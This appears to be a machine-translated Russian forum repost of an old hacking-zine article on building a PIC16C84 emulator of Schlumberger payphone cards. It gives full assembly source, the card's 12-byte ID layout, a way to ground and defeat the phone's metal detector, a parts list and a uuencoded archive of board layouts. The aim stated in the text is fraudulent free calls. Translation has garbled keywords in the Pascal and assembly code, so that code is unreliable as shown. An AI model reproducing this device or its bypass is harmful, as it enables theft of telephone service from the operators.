окно (41,1,80,25);
Writeln ('S - отображать в кратком формате');
Writeln ('F2 - сохранить в файл');
Writeln ('Q - выйти из программы');
окно (1,4,80,25);
для i: = от 1 до 80 пишите ('=');
окно (1,5,80,25);
КОНЕЦ;

{================================================= ============================}

НАЧАТЬ инициализировать;
повторить ожидание;
car: = upcase (ключ чтения);
корпус автомобиля из
«W»: письмо;
«Q» :;
'1': номер_байта: = 32;
'2': byte_number: = 16;
'F', 'S': отображение: = автомобиль;
# 00: НАЧАТЬ автомобиль: = ключ чтения;
если car = # 60, то сохранение;
КОНЕЦ;
еще чтение;
КОНЕЦ;
до car = 'Q';
КОНЕЦ.
--------------- вырезать здесь (конец)

_ / _ / _ / _ / _ / Стефан БАУССОН
_ / _ / _ / _ / _ / Студент инженерного факультета ENSEM (Нанси, Франция)
_ / _ / _ / _ / _ / Smail: 4, Rue de Grand, F-88630 CHERMISEY, France
_ / _ / _ / _ / _ /
_ / _ / _ / _ / _ / Электронная почта: [email protected]-nancy.fr

-------------------------------------------------- ----------------------------
.
 

Hacker

Professional
Messages
1,048
Reputation
9
Reaction score
712
Points
113
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(продолжение)



Программа:
~~~~~~~~~~~~
Ну когда впервые увидел этот файл про карты, около года
назад я быстро понял, что эта система очень небезопасна и действительно
нужно взломать. Итак, теперь я представляю вам программу для
микроконтроллер PIC 16C84 RISC от Microchip, который позаботится
эмуляции карт, используемых Schlumberger и другими. Эта система
можно найти в Скандинавии (Швеция, Норвегия и Финляндия), Испании, Франции
и другие страны. Я знаю, что Франции, вероятно, нужны небольшие
модификации, чтобы это работало, но я не вижу причин, почему это
не следует так поступать! Чтобы это работало, вам нужен доступ к PROM.
горелка, которая может работать с PIC 16C84, или вы можете просто построить один
вы, поскольку я включаю некоторые планы, чтобы это было в блоке UUEncoded,
найдено в конце этого файла. Прежде всего, вы должны прочитать
первые 12 байт данных с действующей карты страны, в которой вы хотите
эмулятор для работы. Это потому, что я не думаю, что это было бы хорошей идеей
публиковать удостоверения личности украденных карт в Phrack. Затем вы просто вводите те
12 байт данных в нужном месте в моей программе и скомпилируйте ее.
Вот и все ... А раз уж я выбираю версию ПОС с
внутренние данные EEPROM, это означает, что первые 12 ячеек данных
EEPROM должен содержать байты идентификатора карты. На сегодняшний день этот код должен
работать гладко и хорошо, но, возможно, вам придется изменить его позже, когда
Шлюмберже надоел мой взлом. Но поскольку PIC очень быстрый и
мощный микроконтроллер, им может быть довольно сложно придумать
с решением этой проблемы. Давайте посмотрим на ПО PIC!
(Обратите внимание, что текущая версия пакета Microchip PICSTART 16B -
невозможно запрограммировать массив DATA EEPROM в 16C84, поэтому, если вы собираетесь
чтобы использовать его, используйте другую версию исходного кода, которую вы
найти в UUEncoded части!).

================================================== ============================

НАЗВАНИЕ "Эмулятор синхронной карты памяти ISO 7816"
СПИСОК P = PIC16C84, R = HEX
ВКЛЮЧИТЬ "PICREG.EQU"

; Список назначений контактов ввода-вывода PIC16C84

CRD_CLK equ 0; RB0 + RA4 = Карточные часы
CRD_DTA equ 0; RA0 = Вывод данных карты
CRD_RST equ 1; RB1 = Сброс карты, низкий уровень активности
CRD_WE equ 7; RB7 = Card Write-Enable, Hi-Active

; Назначение регистров RAM PIC16C84

CRD_ID equ 0x00c; Идентификатор смарт-карты, 12 байт
FUSCNT equ 0x018; Счетчик предохраненных единиц
BITCNT equ 0x019; Bitcounter
LOOPCNT equ 0x01a; Счетчик петель
EE_FLAG equ 0x01b; Флаг записи EEPROM
TEMP1 equ 0x01c; Временное хранилище №1
TEMP2 equ 0x01d; Временное хранилище №2
TEMP3 equ 0x01e; Временное хранилище №3
TEMP4 equ 0x01f; Временное хранилище №4
TEMP_W equ 0x02e; Временный адрес сохранения W
TEMP_S equ 0x02f; Временный адрес для сохранения статуса

org 0x2000; Данные идентификатора чипа
dw 042 042 042 042

org 0x2007; Предохранители конфигурации
dw B'00000001 '

org 0x2100; Внутренняя память EEPROM данных (ID карты !!!)
БД 0x081,0x042,0x000,0x011,0x022,0x033
БД 0x044,0x055,0x066,0x077,0x011,0x084
db 0x002; Сумма использованных кредитов по умолчанию

org PIC84; Сброс-вектор
goto INIT; Перейти к процедуре инициализации

org INTVEC; Вектор прерывания
толкать ; Сохранить регистры
позвонить в INTMAIN; Вызов основной процедуры прерывания
поп; Восстановить регистры
retfie; возврат из прерывания и сброс флага

org 0x010; Начальный адрес для init rout.
INIT bsf STATUS, RP0; Доступ к регистру банка 1
clrwdt; Очистить сторожевой таймер
movlw B'11101000 '; ВАРИАНТ рег. настройки
movwf OPTION; Сохранить в регистре OPTION
movlw B'11111110 '; Установка трехсторонних защелок PORT A
movwf TRISA; Хранить в ПОРТУ трехсторонний регистр
movlw B'11111111 '; Установить трехсторонние защелки PORT B
movwf TRISB; Сохранить в трехстороннем регистре PORT B
bcf STATUS, RP0; Банк регистра доступа 0
clrf RTCC; Очистить RTCC
clrf PORTA; Очистить ПОРТА
clrf PORTB; Очистить ПОРТБ
movlw 0d; 13 байт для копирования
movwf LOOPCNT; Магазин в LOOPCNT
movlw 0c; Начните хранить с 0 центов в ОЗУ
movwf FSR; Магазин в ФСР
clrf EEADR; Начать с адреса EEPROM 0
EECOPY
bsf STATUS, RP0; Доступ к регистру банка 1
bsf EECON1, RD; Установить флаг чтения данных EECON1
bcf STATUS, RP0; Банк регистра доступа 0
movfw EEDATA; Прочитать один байт данных EEPROM
movwf INDIR; Хранить в ОЗУ, на которое указывает FSR
incf FSR; Увеличить указатель FSR
incf EEADR; Увеличить указатель адреса EEPROM
decfsz LOOPCNT, 1; Уменьшите LOOPCNT до 0
goto EECOPY; Иди и возьми еще байты!
bsf STATUS, RP0; Доступ к регистру банка 1
bcf EECON1, EEIF; Очистить EEPROM Запись Int. Флаг
bcf EECON1, WREN; Отключение записи в EEPROM
bcf STATUS, RP0; Банк регистра доступа 0
movlw B'10010000 '; Включить прерывание INT
movwf INTCON; Магазин в INTCON

ОСНОВНОЙ СТАТУС BSF, RP0; Доступ к регистру банка 1
btfsc EECON1, WR; Проверьте, установлен ли флаг записи EEPROM
goto MAIN; Пропустить, если запись EEPROM завершена
bcf EECON1, EEIF; Сбросить флаг завершения записи
bcf EECON1, WREN; Отключение записи в EEPROM
bcf STATUS, RP0; Банк регистра доступа 0
btfss EE_FLAG, LSB; Проверьте флаг записи EEPROM
goto MAIN; Если не установлен, вернитесь назад и подождите еще
clrf EE_FLAG; Очистить флаг записи EEPROM
movlw 0c; Единицы хранятся в байтах $ 0c
movwf EEADR; Сохранить в адресном счетчике EEPROM
movfw FUSCNT; Получите счетчик слитых единиц
movwf EEDATA; Магазин в EEDATA
bsf STATUS, RP0; Доступ к регистру банка 1
bsf EECON1, WREN; Разрешение записи EEPROM
bcf INTCON, GIE; Отключить все прерывания
movlw 055; Магический номер # 1 для записи EEPROM
movwf EECON2; Магазин в EECON2
movlw 0aa; Магическое число # 2 для записи EEPROM
movwf EECON2; Магазин в EECON2
bsf EECON1, WR; Выполнить запись EEPROM
bsf INTCON, GIE; Включите снова все прерывания!
bcf STATUS, RP0; Банк регистра доступа 0
goto MAIN; Основной цикл программы!

INTMAIN btfsc INTCON, INTF; Проверить прерывание INT
goto INTMAIN2; Если установлено, перейти к INTMAIN2
movlw B'00010000 '; Включить прерывание INT
movwf INTCON; Магазин в INTCON
возвращение

INTMAIN2
bcf STATUS, RP0; Банк регистра доступа 0
bsf PORTA, CRD_DTA; Установить высокий уровень вывода данных
btfsc PORTB, CRD_RST; Проверить, низкий ли сброс
goto NO_RST; Если нет, пропустите последовательность сброса
movfw RTCC; Получить значение RTCC
movwf TEMP4; Хранить в TEMP4
clrf RTCC; Очистить RTCC
movlw 055; Вычтите 55 долларов из TEMP4
subwf TEMP4,0; чтобы проверить сброс карты ....
bnz NO_RST2; Если не ноль, перейдите к NO_RST
movlw 02; У неиспользованного есть $ 02 в FUSCNT
movwf FUSCNT; Хранить полную стоимость в FUSCNT
bsf EE_FLAG, LSB; Установить флаг записи EEPROM
NO_RST2 bcf INTCON, INTF; Очистить флаг прерывания INT
возвращение ; Миссия выполнена, вернуть отправителю

NO_RST movfw RTCC; Получить значение RTCC
movwf BITCNT; Скопируйте его в BITCNT
movwf TEMP1; Скопируйте его в TEMP1
movwf TEMP2; Скопируйте его в TEMP2
movlw 060; Загрузите W с $ 60
subwf TEMP1,0; Вычтите 60 долларов из TEMP1
bz CREDIT; Если он равен 60 $
bc CREDIT; или выше, затем перейдите к области единиц
rrf TEMP2; Поверните TEMP2 на один шаг вправо
rrf TEMP2; Поверните TEMP2 на один шаг вправо
rrf TEMP2; Поверните TEMP2 на один шаг вправо
movlw 0f; Загрузите W с помощью $ f
andwf TEMP2,1; И TEMP2 с регистром W
movfw TEMP2; Загрузите W с TEMP2
addlw 0c; Добавить W на $ 0c
movwf FSR; Адрес хранения данных в FSR
movfw INDIR; Получить байт данных, на который указывает FSR
movwf TEMP3; Хранить в TEMP3
movlw 07; Загрузите W с $ 07
andwf TEMP1,1; И TEMP1 с $ 07
bz NO_ROT; Если результат равен нулю, пропустить цикл сдвига
ROTLOOP rlf TEMP3; Сдвинуть TEMP3 на один шаг влево
decfsz TEMP1,1; Уменьшить TEMP1 до нуля
goto ROTLOOP; Если не ноль, повторяйте, пока он не станет равным!
NO_ROT btfss TEMP3, MSB; Проверьте, установлен ли MSB TEMP3
bcf PORTA, CRD_DTA; Очистить вывод данных
bcf INTCON, INTF; Очистить флаг прерывания INT
возвращение ; Миссия выполнена, вернуть отправителю

КРЕДИТ btfss PORTB, CRD_WE; Проверьте, высокий ли уровень разрешения записи на карту
goto NO_WRT; Прервать операцию записи, если нет ...
btfss PORTB, CRD_RST; Проверьте, высокий ли уровень сброса карты
goto NO_WRT; Прервать операцию записи, если нет ...
incf FUSCNT; Увеличить счетчик использованных единиц
bsf EE_FLAG, LSB; Установить флаг записи EEPROM
bcf INTCON, INTF; Очистить флаг прерывания INT
возвращение ; Миссия выполнена, вернуть отправителю

NO_WRT movlw 060; Загрузите W с $ 60
subwf BITCNT, 1; Вычтите 60 долларов из BITCNT
movfw FUSCNT; Загрузите W с помощью FUSCNT
subwf BITCNT, 1; Вычесть FUSCNT из BITCNT
bnc FUSED; Если результат отрицательный, значит, блок перегорел.
bcf PORTA, CRD_DTA; Очистить вывод данных
FUSED bcf INTCON, INTF; Очистить флаг прерывания INT
возвращение ; Миссия выполнена, вернуть отправителю

КОНЕЦ

================================================== ============================
.

.
================================================== ============================

; Включаемый файл микроконтроллера PIC16Cxx

PIC54 equ 0x1ff; PIC16C54 Сброс вектора
PIC55 equ 0x1ff; PIC16C55 Вектор сброса
PIC56 equ 0x3ff; PIC16C56 Сброс вектора
PIC57 equ 0x7ff; PIC16C57 Сброс вектора
PIC71 equ 0x000; PIC16C71 Вектор сброса
PIC84 equ 0x000; PIC16C84 Сброс вектора
INTVEC equ 0x004; PIC16C71 / 84 Вектор прерывания

INDIR equ 0x000; Регистр адресов косвенного реестра файлов
RTCC equ 0x001; Счетчик часов реального времени
PCL equ 0x002; Младший байт счетчика программ
СОСТОЯНИЕ равно 0x003; Регистр статуса
FSR equ 0x004; Файл Выбрать Зарегистрироваться
PORTA equ 0x005; Регистр порта AI / O
PORTB equ 0x006; Регистр порта BI / O
PORTC equ 0x007; Регистр порта CI / O
ADCON0 equ 0x008; PIC16C71 A / D Control Reg 0
ADRES equ 0x009; Регистр результатов аналого-цифрового преобразователя PIC16C71
EEDATA equ 0x008; Регистр данных EEPROM PIC16C84
EEADR equ 0x009; Регистр адреса EEPROM PIC16C84
PCLATH equ 0x00a; Старшие биты счетчика программ
INTCON equ 0x00b; Регистр управления прерываниями
TRISA equ 0x005; Регистр направления AI / O порта
TRISB equ 0x006; Регистр направления порта BI / O
TRISC equ 0x007; Регистр направления CI / O порта
ADCON1 equ 0x008; PIC16C71 A / D Control Reg 1
EECON1 equ 0x008; PIC16C84 EEPROM Control Reg. 1
EECON2 equ 0x009; PIC16C84 EEPROM Control Reg. 2
ВАРИАНТ equ 0x001; Регистр опций

MSB equ 0x007; Самый значимый бит
LSB equ 0x000; Наименее значимый бит
ИСТИНА равно 1
ДА равно 1
ЛОЖЬ при 0
НЕТ экв 0

; Регистр состояния (f03) Биты

ПЕРЕНОСИТЕ equ 0x000; Перенести бит
C equ 0x000; Перенести бит
DCARRY equ 0x001; Цифровой бит переноса
DC equ 0x001; Цифровой бит переноса
Z_BIT equ 0x002; Нулевой бит
Z equ 0x002; Нулевой бит
P_DOWN equ 0x003; Бит отключения питания
PD equ 0x003; Бит отключения питания
T_OUT equ 0x004; Бит тайм-аута сторожевого таймера
TO equ 0x004; Бит тайм-аута сторожевого таймера
RP0 equ 0x005; Регистрация страницы Выбрать 0
RP1 equ 0x006; Зарегистрировать страницу Выбрать 1
IRP equ 0x007; Косвенная адресация Рег. Страница Sel.

; Регистр INTCON (f0b) Биты

RBIF equ 0x000; Флаг прерывания изменения порта RB
INTF equ 0x001; Флаг прерывания INT
RTIF equ 0x002; Флаг прерывания переполнения RTCC
RBIE equ 0x003; РБ Порт Ч. Разрешить прерывание
INTE equ 0x004; Разрешить прерывание INT
RTIE equ 0x005; RTCC Overflow Int. включить
ADIE equ 0x006; PIC16C71 A / D Int. включить
EEIE equ 0x006; PIC16C84 EEPROM Запись Int. включить
ЭДД equ 0x007; Разрешение глобального прерывания

; ОПЦИЯ Регистр (f81) Биты

PS0 equ 0x000; Бит предварительного делителя 0
PS1 equ 0x001; Бит предварительного деления делителя 1
PS2 equ 0x002; Бит предварительного накаливания 2
PSA equ 0x003; Бит назначения предделителя
RTE equ 0x004; Выбор фронта сигнала RTCC
RTS equ 0x005; Выбор источника сигнала RTCC
INTEDG equ 0x006; Выбор прерывания фронта
RBPU equ 0x007; Включение подтягивания порта B

; Регистр ADCON0 (f08) Биты

ADON equ 0x000; Переключатель питания аналого-цифрового преобразователя
ADIF equ 0x001; Флаг прерывания аналого-цифрового преобразования
ADGO equ 0x002; Флаг начала аналого-цифрового преобразования
CHS0 equ 0x003; Выбор канала аналого-цифрового преобразователя 0
CHS1 equ 0x004; Выбор канала аналого-цифрового преобразователя 1
ADCS0 equ 0x006; Выбор тактовой частоты аналого-цифрового преобразования 0
ADCS1 equ 0x007; Выбор тактовой частоты аналого-цифрового преобразования 0

; Регистр ADCON1 (f88) Биты

PCFG0 equ 0x000; RA0-RA3 Конфигурационный бит 0
PCFG1 equ 0x001; RA0-RA3 Конфигурационный бит 0

; Регистр EECON1 (f88) Биты

RD equ 0x000; Флаг чтения данных EEPROM PIC16C84
WR equ 0x001; Флаг записи данных EEPROM PIC16C84
WREN equ 0x002; Флаг разрешения записи EEPROM PIC16C84
WRERR equ 0x003; PIC16C84 Флаг ошибки записи EEPROM
EEIF equ 0x004; PIC16C84 Флаг прерывания EEPROM

; Несколько полезных макросов ...

PUSH макрос
movwf TEMP_W
swapf СТАТУС, Вт
movwf TEMP_S
конец

Макрос POP
swapf TEMP_S, Вт
СТАТУС movwf
swapf TEMP_W
swapf TEMP_W, Вт
конец

КОНЕЦ

================================================== ============================
.
Система безопасности:
~~~~~~~~~~~~~~~~~~~~
Безопасность карточной системы Schlumberger во многом зависит от двух
вещи: металлоискатель в картридере, который определяет, есть ли
любой металл на карте там, где его не должно быть. Следы цепи
на самодельной карточке окончательно сделана из металла. Итак, мы должны
найти способ обойти эту проблему ... Ну, это не
действительно слишком сложно! Они сделали одну действительно большую ошибку: если металлоискатель
заземлено, не работает !! Если вы посмотрите распечатку моих макетов
для этой карты вы найдете одну большую область доски, которая представляет собой прямоугольник
сформированный. В этой области вы должны сделать большую каплю припоя,
высотой 2-3 миллиметра (примерно!). Когда карта скользит в
телефон, капля должна касаться металлоискателя, а так как
blob подключен к земле, детектор также заземляется. В
телефон также считает количество срабатываний металлоискателя
посторонними предметами в картридере (это означает, что телефонные компании
сотрудники службы безопасности могут увидеть, пытается ли кто-то использовать поддельную карту,
не имеет этой контрмеры!) и это, конечно, включено
в ежедневном сервисном отчете телефон отправляет на центральный компьютер.

Вторая безопасность заключается в картах первых 12 байт, дело не только в том, что
похоже: серийный номер, это даже больше. Часть
первый байт - это контрольная сумма количества единиц в 11 байтах, следующих за
Это. Тогда байт 2 всегда равен 83 долларам, идентифицируя карту как электронную.
телефонная карточка. Байты 3 и 4 - это количество единиц на карте: Первый
полубайт байта 3 всегда равен $ 1, а затем в оставшихся трех полубайтах
количество единиц хранится в BCD-коде, например 11 $, 22 $ означает 120
единиц (Два блока всегда свариваются на заводе в качестве теста, см. текст
Стефана Бауссона!) Тогда у нас есть 4 байта данных о серийном номере карты, 2
байтов контрольной суммы карты (рассчитанной с помощью 16-битного ключа, хранящегося в
ПЗУ таксофона), 1 байт, который всегда равен 11 долларам, и, наконец, байт 12
который является идентификатором страны.

Необходимые детали:
~~~~~~~~~~~~~~~~~
01 * PIC16C84, версия 4 МГц, поверхностный монтаж (корпус SOIC-18)
01 * Керамический резонатор 4 МГц, поверхностный монтаж
02 * 22 пФ конденсаторы, поверхностный монтаж (размер 1206).
01 * 0,8 мм односторонняя печатная плата с фоторезистом P20

Постройка:
~~~~~~~~~~~~~~~~~
Поскольку этот проект явно не предназначен для новичков в
электроника Не буду вдаваться в основные детали пайки / травления
печатные платы. Если вы не очень разбираетесь в этом, спросите друга, который знает
для помощи. Если вы хотите обратиться ко мне за помощью, напишите Phrack и спросите их
переслать мне письмо, поскольку я хочу остаться анонимным - Этот проект
вероятно расстроит многие телефонные компании и, что не менее важно,
ребята из Schlumberger Tech.

Часть UUEncoded:
~~~~~~~~~~~~~~~~~~~
В этой части файла вы найдете макеты печатных плат для Tango.
PCB, а также двоичные файлы HP LaserJet, которые будут выводить макет
при печати из DOS с помощью команды PRINT.

Вы также найдете другую версию исходного кода для использования, если ваш PIC
программист не может справиться с программированием 64-байтовой EEPROM данных
множество.

.
-------------------------------------------------- ----------------------------

раздел 1 uuencode 5.22 файла telecard.zip от REM

begin 644 telecard.zip
Code:
M4$L#!!0````(``Q2,!V^G@!LQ@@``.P@```,````5$5,14-21#$N05--Q5G=
M_L2YL])N,G3)"T+
MN,?;-'\&%^41>-LR1C3-7S'4V)\O&`AF'V:^:U^Z[R\&$'SXZ/V+K?D3=_PP
M\N`56PJ\NS/OGP\,V-\%[(;0FGH\GIQFF;@
M*GK/^W0[=NYZZ9>"WO-FP?1>6@YN8[0^.5YX]S,;^D62-EC@;9;F*'^&.67_
MUQA^LR5NN`<7[<,-)>Y\#P[OPYU+W,4>W*J-6U2X"XG[]-B+&[;Y/<(L:W`W)P!^)"&*$T4XN6!?#
M@?;7W>3*V"1-5F1=YHB2-!%.5VA[W;RQY,]^8^PS\WEHZ/N(8'S[A$-F9_
M<;TYP/6FE^LR_*%3L^2I"4RP<+40:4Z-O]?(.'/3&I),O&_1F?(W=#>:?41]
M,^BJVB#KUH.H6U5E`5(`HO#:"C5#>9XS"OH-5>U494&8I22IS/3CSJT@GN=.
M)_8@LV'G*MQ!@5#4BLJ:]Y#R87JN=8#1R=$M?R]TKG59]5;VV2;LKT&QB
M+AT\"-5E\"P;IMFSQJ#=$6@,JJ6#.\L4Q),>2=;5D7)LX-SK6LSU:
MK_6Y@,AQM.T"%F].W.GLWTKURM0,KR5VUPE&_DB3Q)^,_#T^QMNZ3#A6Q/DM
MGRO92"*/OJN$GX0Y1@462UGMDPK05:8&[/7G"(>KXEM]+(.FS1WA"JM.K$PH
MB8'0-\(8=7U55FFXWJ6`D@C6F!U4NL6PY0H+?SA]802%1@1YGG]K9`:C)_03
M>M8.H@KX&'@3,U5(R(@4O`-_<=2I=&V)2E07"=G7\V)?=PV&9RS.*\?Y,*.L;L[WH`"/N-SS&7ESC7+T6B.36K05W[/@.
MUX]N[='X\:6?4D/W^8:,.,TU9"0-[GRO3FO2?8`G;-4#%[JAW[UK&?H>K4D(
MDW*[9!+]9G=\Q-"><=-&2D-[OJ0S0N@@H^'_RZACLZ9/^HK#DN+VY@K0-5J5
MR0R;`5HCDIR^+`[WQ],L3]=JXFB33A=4OHJK\+A)MFF#8H`)>,XJZ"?^.
MAGU5QC$\<2,;L"8IM`N@'$8Z%4@IU,JH>N0)X^L!H8I7==_0^5W#/2D*7OJ=
M,.1]`"DV.!JH^PEFGP(G$:\KBC_`"URJ?57)KYJR9R"4O\2U4*
M/M<-J]W@]AC6NFI9UNZUK*V3*V_F`3]M>S-3MXR%1\L\*KRSV)`5%3W"R3&#
M\#D5\KCQF)8Z@EJ^KQTFQBNJ3<%=4<44+#Y*28'E$,R%T,JC8KXGZ>B\X9<5)]Q7_F5"-KYJM1OB/RU]
MJTRCU&QZ#_F13%.S^2*FFBRF:]6Z:(W(8V`XA[-,)?:0?BZ/@;,1+_
M:$@J+K_F](Y.CN5=)?!J(LPU<\?MCR_RJ[&0^_3T5#*61_W5>F^;S_P[G_YL
M6>:SW:(?MNC/SUO[79C/[]Z9SY>7YO/5U6%^[R_$URUO,CHY_B]02P,$%```
M``@`2E(P'8XZ.`_+"```^!\```P```!414Q%0U)$,BY!4TW%65MSV[@5?K9G
M_!^.LYY-.Z6]I.S8[GCR0$NTPU:W4O*Z?@)8%_[<)3$D*;IZ39;K&*8,AR9F0Z@>#C_WA/T%_\.="_MKE
M_V\@N+7A;Q"X%_!>&=9/:/A)(0=S]R6D:VO,`#$$DX)M"J:0@5I0`^D8.AV-
M#'".F05#NCUU0T:>L,(_>M#!7QGX*XU_S`C#IUZ*%@FVX`.I9FDP%+@CKFG)
M2<&905.N*?('777V%]L.I;K9&F4L%-K\@05.#Q;/#'/LW<.L/Y[O1#K7$GE7
MY#B"(B4LAY`6*5=_='CKS_?"_BYAMX15TL/)9&J*F])(2@\IW4!?RWO>Q[NA
M>[]3?B'E/6\:3$:*.;A+T/+H<.Z-I@[L-DEQ,,?K#FU]CS!#3QC<*,IPGI?8V6YL
M1^?K9MUW/=0']%-N`/9`1QP6BK!NR+GF7\ZTYRU9B$
MIC%9%AEBA*;2Z7)CKMNWMOHX;]OS.$UC?.%"*4I4/)=^4B:MO_15`,BQX[^*
M^1>@B;AV+/XM;/W"]8AO1S[IR2?GYTWIBPOQ]-T[\7UY*;ZOKFK,]453VC8=
M[`;N.*DK%?LJNAYD=$G_;RQOZHO(-Z$RUYP^X9#1C`LN*:-BP!_[1C0*P7\4
MZPWP0<*G)B@A7Q6Q&2T827%#BS^>_^[U.R06&T/1IN`6[_C<*$?)RL0D]BQ$
M25)..W+]L;G'8F2-2,JM4@IJ>PXV=`.[-?`U,,+G,%V`JSRN'&H@2!G/@:*:UK:Q&?2LL,,YA.@CFX
M,,^X.&(8AL)(;"J;!_[,;3%8*BO!3(-?TNITM-[^+ZVW+VB]W:EU$7[7KMEJ
MUR0FF/>-$*EW33PWQ(3R)AM*3#YOR37MK^5N#7[LR%0JY)QS5;M%<(=T\VR0
MTJZS!BGED#ESV)Y9>;Z(-9(N`3$XX3(<&[@C0\G=+.C@2B5\R%BBY[D#4[0*
M+:;3!,^>UY],_P,@-NG[0TM#Q"QCQPH&M4K,RJ<08%1V>:IA>(TW[03]E9>\=+
MX&/@C4M@`S(@N>C%7^TB.K/9,FE7^51U^*(N5@6VX1GS_IZDK89$W=(%]36D
ML3@/S;4;_1L./P&)NUVU"!]C:QOE7)GXB6PZ2"):F?4FP0Q'+^Z6;&9*4(F0
MS=^?MUF"E%SJD"<.:U@6%4V**/\[SAHO,.+'D%(&\D3XA^C!%HC/(_Q_BX@1
M`(U$V3SN['3C4O'^[*UZ2,Z];)8BX3%ENY)RZ66MG%"=QJJDUSXK
MWL`]W[YXU_G0T-=.E(8^,?1#$OX^WU`19[B&BB3KWO>JM*;#)F*$'I14>__5=3AK)+UON"P
M8+@]N09T22LS68,S0$M$TN/7Q>'^>)IF=)FAM3HV))1NCD4>U&<+G=1*$_G/
M72=^6_FV/C+)*7J-T*W#E@MIB492MW]T4C]0!Q9C5;U7YK)RNV2K:=5W7ZH)
M,JZWX`-9KHR*('M.J[[R,BI")C,TR3GS6X.[\:1Q.U:E/0MR41`4*L>?"YR&
MV,@@W29:9!#Y]'>4%*9'MZ])#.;DT+>WYOLC>58L6(9"!B=\2!X8]=1YL:BM
ML&P#([KNRK7DA9I<[1G_"$K3KU`3U.O6A:\XH[6'*3'31O.BH$SK,K^*SG*%
MR#N?&QB1/!<5WPU#4?Y)OL*1I4_PG)\Z:-L]`
MF-"@!EM^9UXC-J3E8$NX>;73$FXD^$N[M?PA11$\PI:P%9Q51Z9[XB,9.MP=$AAXCC*61)[3&MY4AI];QRF`3'S#C\=DV5AU_Y
M5DH9K,Z^P@BC*FKE>Y)^AC>84ZZ/S7P5QRJOB67J@X@TS!I5=UM&+18/:5R:
M+OI\>3;3";E;]55";KS6:O?!?UKZUIE&+[-N.=1;,F.9]2LQW5OQM98=B]%_
M/`8-YW`7-&.PE3"ZP>5K!"+Y+TMS1W6GVZG?YOT@G=753:K;*_1IZ[S\$TJS).8U=4Z5WSK4=M4YLT3O.8>:"JH>YQMTE#,UU2Q2E9_Y
MH&>\4VUGH!0OD7A-:\FM$T_D2?A[0U)K^3F[=\#_O/'@Z/"_4$L#!!0````(
M`)M$+AW$&QM@"@4``#P7```,````5$5,14-!4D0N0C`QE9A+C]LV$,?O`?(=
M"-W;D#-\"3T4BM9)W.QZ#5N[27LI@F#1YM`'VGY^H"3%&;THRX8!P?)_R!^'
MG*&'_*'[\N=O?WUW_OK[RQ]?_OOV53RK[T&^B//+/]]>_A7[_>M777-X__CK
MN?VP>VBZ?2M4^#2O7YT_[':=D.&CE*U1>+!>V/#[_I>=0.6,4";\;)TTPIC:
M#;^]?O73TZ$56DLI(#SRNX'X;OE=QW>#PSO&=S6\FZD]`NO'YM0)[>)[A&BL
MP\.%T00YCR8-/#UE\BBT:KKN)*KNY^.N$K6H/G?-?=7WHKWL+9&L[G;G_?M#
MTSV>>EN5+8V96W[^,5E4/25^6$F`2YJ>:[R`H=5#6VB$3J)`FR=S)W0$(90;Z_P<=\JVWI=]11,,W-A
ME9^"2QA#`7%N^;2ZR@-DKJ?)E>1#^@8IV@1S;QDFS\%\;N/41P6\
MCQV/UE(Q3MV`PXI:%G%Q-*J(`\;!#3C]YM2U;47-B\PX)"@RD9E(3+7%?&CO
MPQ+GID6>CG*1IYFGB>>V>.\/=Q6U+.),E(LXPSAS_92^E6_VAZZBUD6DC7(1
M:1EI;T#&(+3K.!?E(LXQSMV`@XI:%G$^[T9+G&>`-B?\`H@,1-YHK@`"Y?L:T.2,7P`U`S4!W1;P.>UG^A)/YY1?\`SSS/4K
M^-91MJ_Q,.?[@F>99V_@64KW-1[DA%_P'//<#3Q#^;[&H_ICP?/,\S?P-"7\
M&D_FE!_SJA:Q:LANKL84,G>:VS@SUTJAC&)IN%*--]&%2^JI9Z8LX+7U5
MIO'PTI+10"_3WD::)YK6IB
M)."E2$".!"Q$`G(DS-78`C@2?R0>
M%'F.>%#F2>;):WBG,_LGBSQ//%GD(?N'?26VP;MKNB8#L>P@9""N.&C909L*
MHPU@*HQZ!VV19\A!6^9YYOEK>.GDU?-\D:>)Y\L3R@N8OFW[=SS2?)87$&D^
M5Q:0$P*O2HAW3^<=`3I!ISTM"+J]#/J)XJH_]+VA.6
M"N92G'I35)J7%>"SY4B!R0&PO\4=/.V5X3ZWCY!Z<;$Y428WD(NHPCG'T)[.
M]R0+A??]\:C!CJ^KELIPZ_P_4$L#!!0````(`*)$+AW[.7CW$P4````@```,
M````5$5,14-!4D0N0TU0[5A;3QM'%#Z[W@064R#@A$L2V``-A!C8F[VFBE0M
M:R=UPL6RS>4!J5()2I`01B0OE?*`JDK]#97R`_+8O%1YJ)I(;=0^]*&J^`'-
M#ZC4]Q*[Y\S,WK*_H'0/:[/S?=\9S^R4?1*-I"=:)IFD.S5F]_>0A\TUN\;
M)9B0MION2B"P(O4P(B\UM&7Q_N/
M'C_59KU;FK%46LHOZ9KK>945K;FW^_BP==!ZM+_W)*]5#W<7-&-!SVOKM
MMPX.]HY!!>@Y;3_OE._D)0#\*'77A*Q!:"F&6I`U"3UM1U%[L=[T/,A:1!VU
MW8!:]5;JD+4)[FW?"^![:V7(%@A]\3Y2S[*^6%UK0K9(3#G&&)!U"/WS+(J:
MT>Y+V1(IGL44V-XEZ/E.>=Y1[IRV`?"#[<7:<&@1+L5@'6&'X-.V%,#K#8_D
M1<*/VG(4IT=4(+RWW17@F_0@#)O@%^\CM2\["%L$EV-P$6&3X#_/HG`!88/@
M9S'81EC'\9+Z`4;.OKX?=O^K#'[)@^I#J/T#%^7![KST$.B&ARO&PJ?@%[HA
M"%55DE2054F&_[SE8!#'/0.=SIRT5FE^KNN&YAO.0J]>-G9@@&8;?0'U6`)?
M:B:E.9+FDE(K*1TCZ5A2:B>EXR0=3TH+2>DD22>3TF)2.D/2F:3424KG23J?
ME):24IVD>BC-R^SFI/+)SF=NO;SEUBL[8GW;$4X0.$]E(!,L=A+^;1MTL1HN
M_O3MSP3-9*`KMG(2N&'0Q71;;[[X0>AZV#+IUI@$IQY>IJD=W66ZS1]?^_5E
M8SJ#KJCNF[>$W\Q`;W1Q9C]KTL5DW_\R^HJ@$04GVQ`)EV$9_[&XH3(C/B;"
MI;<.&RE61L*`X="#A<^P3]S\P(/*8PI._VM$.."M/,#?9W%TS:^*FEEMHY,0G?-G^P^=_I
M9(.%$]\;B@-S=*M`CVK!1;K%-"&UU%([5S8$?^'$5OS$:9IFN@VTU^SBZ=:T
M3][email protected]!I8U$W*5J$6B3"B[31>7%)8F+_INM*,_*<)6G=QTHDR?*A)E
MP6:MQA):M*)?HT.4`7>#;"NI\.SRDJ`N$_4`V.Y3X6GD
